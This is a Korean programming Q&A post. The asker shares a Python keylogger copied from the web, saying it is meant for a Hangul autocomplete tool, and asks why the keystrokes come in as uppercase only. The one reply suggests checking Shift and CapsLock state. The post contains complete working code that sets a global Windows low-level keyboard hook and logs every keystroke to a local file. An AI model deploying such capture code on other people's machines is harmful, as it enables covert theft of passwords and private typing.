파이썬 키보드 후킹 대문자로만 들어오는 문제
조회수 3082회
3.6.0 버전 사용 중입니다. 웹에 있는 키로거 소스입니다. 해킹용이 아니고 한글로 변환해서 네이버 검색창 자동완성 같은 걸 만들어보려고 합니다.
그런데 아래 소스로 키보드 후킹시 대문자로만 들어오는데요. 최종적으론 들어오는 입력을 한글로 변경코자 하는데 쌍자음 같은 것도 다 대문자로만 들어와서 초/중/종성으로의 구분이 안 되는 상황입니다.
ex) 그날까지 - rmskfRkwl
이렇게 들어와야 자모 분리가 가능한데 RMSKFRKWL 이렇게 들어와버려서....
소스는 아래와 같습니다. 이걸 위에 예처럼 쌍자음이 구분되게 받는 방법이 있을까요? 그리고 기호도 깨져서 들어오는데 기호도 제대로 받을 수 있는 방법이 있는지 궁금합니다.
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
user32 = windll.user32
kernel32 = windll.kernel32
WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
CTRL_CODE = 162
saveKey=[]
class keyLogger:
def __init__(self):
self.lUser32 = user32
self.hooked = None
def installHookProc(self, pointer):
self.hooked = self.lUser32.SetWindowsHookExA(
WH_KEYBOARD_LL,
pointer,
kernel32.GetModuleHandleW(None),
0
)
if not self.hooked:
return False
return True
def uninstallHookProc(self):
if self.hooked is None:
return
self.lUser32.UnhookWindowsHookEx(self.hooked)
self.hooked = None
def getFPTR(fn):
CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
return CMPFUNC(fn)
def hookProc(nCode, wParam, lParam):
if wParam is not WM_KEYDOWN:
return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
hookedKey = chr(lParam[0])
saveKey.append(hookedKey)
sys.stdout.write(hookedKey)
saveKeyLog()
if(CTRL_CODE == int(lParam[0])):
print("Ctrl pressed, call uninstallHook()")
keyLogger.uninstallHookProc()
sys.exit(-1)
return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
def startKeyLog():
msg = MSG()
user32.GetMessageA(byref(msg),0,0,0)
def saveKeyLog():
f = open("C:/Users/akak/Desktop/KeyLogging.txt",'w', encoding='UTF-8')
test="".join(str(s) for s in saveKey)
f.write(test)
f.close()
keyLogger = keyLogger()
pointer = getFPTR(hookProc)
if keyLogger.installHookProc(pointer):
print("installed keyLogger")
startKeyLog()
-
(•́ ✖ •̀)
알 수 없는 사용자
1 답변
-
WM_KEYDOWN
은 키보드에 shift나 capslock이 눌렸는지 알 수 없습니다. case를 알아내려면WM_CHAR
을 써야하는데WM_CHAR
은 후킹시 쓸 수 없다고 하네요.if obj.GetKeyState(VK_SHIFT) >=0 || obj.GetKeyState(VK_CAPITAL) >=0
을 써서 capslock 또는 shift 키가 켜져있는지 확인하는 수 밖에 없습니다.
example을 참고하세요.
-
(•́ ✖ •̀)
알 수 없는 사용자
-
댓글 입력